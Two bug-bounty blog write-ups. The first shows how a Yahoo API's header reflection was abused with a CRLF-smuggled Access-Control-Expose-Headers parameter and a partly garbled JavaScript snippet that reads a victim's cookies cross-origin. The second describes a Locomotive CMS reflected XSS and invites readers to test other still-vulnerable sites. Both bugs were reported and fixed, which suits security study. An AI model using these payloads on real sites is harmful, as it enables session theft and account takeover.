Stealing $10,000 Yahoo Cookies!

Originally posted here [Old Blog]:


This is my second blog post. I recently started to script python, So I decided to write some recon script to filter out domains to attack first out of tens of thousands of Yahoo subdomains which promises some content since it doesn’t seem feasible to visit each one of them.

And it outputted . Upon visiting and taking a look at intercepted requests, the page was interacting with api endpoints at using XmlHttpRequests and Cross origin resource sharing (CROS) technology . If you don’t know much about CORS I would recommend you visit Burp Blog .

So in a Requests to , I saw alot of headers I see all day while looking into yahoo in response which kind of freaked me out. It was reflecting all my request header such as user agent, Accept, and Cookie like in following screenshot.

blog 1

Also any Parameters in GET requests were also getting reflected as response headers. For ex:

GET /services/network/whoami?Test=Try HTTP/1.1

And Response:

HTTP/1.1 401 Unauthorized
Test: Try


And also it was using CORS and allowed any domain:


GET /services/network/whoami HTTP/1.1

And Response:

HTTP/1.1 401 Unauthorized
Access-Control-Allow-Credentials: True

But there was not anything to read from the page.AS CORS allow reading content from the page and don’t allow reading any of the headers. But CORS technology can be used by server to allow browser(Client) to read Response headers by adding a special header to the response headers i.e Access-Control-Expose-Header: whateverheader, you may read here.

Trying to Add this special header from GET parameter:

GET /services/network/whoami?Access-Control-Expose-Headers=Cookie HTTP/1.1

And no header got added to the response :/ 😦 . All these special headers both in capital and small letters were blacklisted. Hmm… try to CRLF :

GET /services/network/whoami?test%0d%0ame=nicely HTTP/1.1

And Response:

HTTP/1.1 401 Unauthorized
testme: nicely

So also got a blacklist sanitiser for CRLF. To be honest, I love to have lame filters in place instead of no filters, it helps bypass other things, or sometimes chrome auditor in case of XSS and what not.

So now I tried:

GET /services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie

So if you can see Access-Control-Expose-Header%0d%0as is not a special header, so was not filtered out by 1st blacklist filter, and the 2nd filter always sanitises blacklisted bytes %0d%0a. And see what header got added in response headers:

HTTP/1.1 401 Unauthorized
Access-Control-Expose-Headers: Cookie

So following type of javascript on any website would be able to read reflected Cookie header from all of the response headers.

var getcookie = new XMLHttpRequest();
var url = "";

getcookie.onreadystatechange= function(){
if(getcookie.readyState == getcookie.DONE) {
document.write(getcookie.getResponseHeader("Cookie") + "I have stolen all your cookies");"GET",url,true);
getcookie.withCredentials = true;



blog 2

What if Origin was not allowed or credentials were not allowed? I would have similarly added Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers.

I also verified that the stolen cookies were also working for the user in yahoo mail or any other service by using them in respective services/requests.

I Reported issue to yahoo security team immediately on 19th of September, 2017.
yahoo team triaged within half n hour and rewarded initial $500.
yahoo took the api server down within few hours and brought up back after fixing the vulnerabilities. Yahoo fixed this by no more allowing to inject headers from GET parameters, and Now Origin Is not used to fill Access-Control-Allow-Origin. And also special headers are still blacklisted.
And on 30th of September 2017, yahoo gave final reward $9,500

Thanks for reading, got thoughts? tweet me here @v0sx9b


XSS on Bugcrowd and so many other website’s main Domain

Originally posted here [Old Blog]:

Hi all,

This is my first Blog post. I recently found Reflected Cross Site Scripting(XSS) vulnerability on Bugcrowd main domain which had huge impact.

Secret Parameter:

I was able to identify one secret parameter which was getting used by the server to respond differently and gave up error page showing `unable to find page 404 in locale `. This was pretty much atleast XSS and Yes!
Here is the POC video:


This didn’t only work on 404 page but also on the homepage for ex: However this parameter didn’t seem to do anything else, so I immediately reported to Bugcrowd. When I woke up in the morning, I came to know that this bug was rather in Locomotive CMS, bugcrowd worked around showing that page at router level to mitigate the impact .
Knowing this I immediately checked out Locomotive CMS and so was their website vulnerable.



 So I went dorking for other websites using Locomotive CMS and I have so many POP UPS! but I can’t show them because they are still vulnerable.
If your application is using Locomotive CMS, chances are you are also vulnerable, but don’t worry If you find that you have this vulnerability, I believe there is a patch out there. Contact Locomotive CMS for more information.This had huge impact as all the submission data and other important information is hosted on main domain which means one click and few seconds of javascript processing will steal all the data from the user and take actions on behalf of users(CSRF).
After few days Locomotive fixed the bug and allowed disclosure. You can easily find some locomotive CMS application to test this out.Bugcrowd rewarded $600 for this, I didn’t agree with the reward amount but it was really nice to see the Quick Fix.

Got Thoughts? Tweet me here @v0sx9b ! Thanks for reading 🙂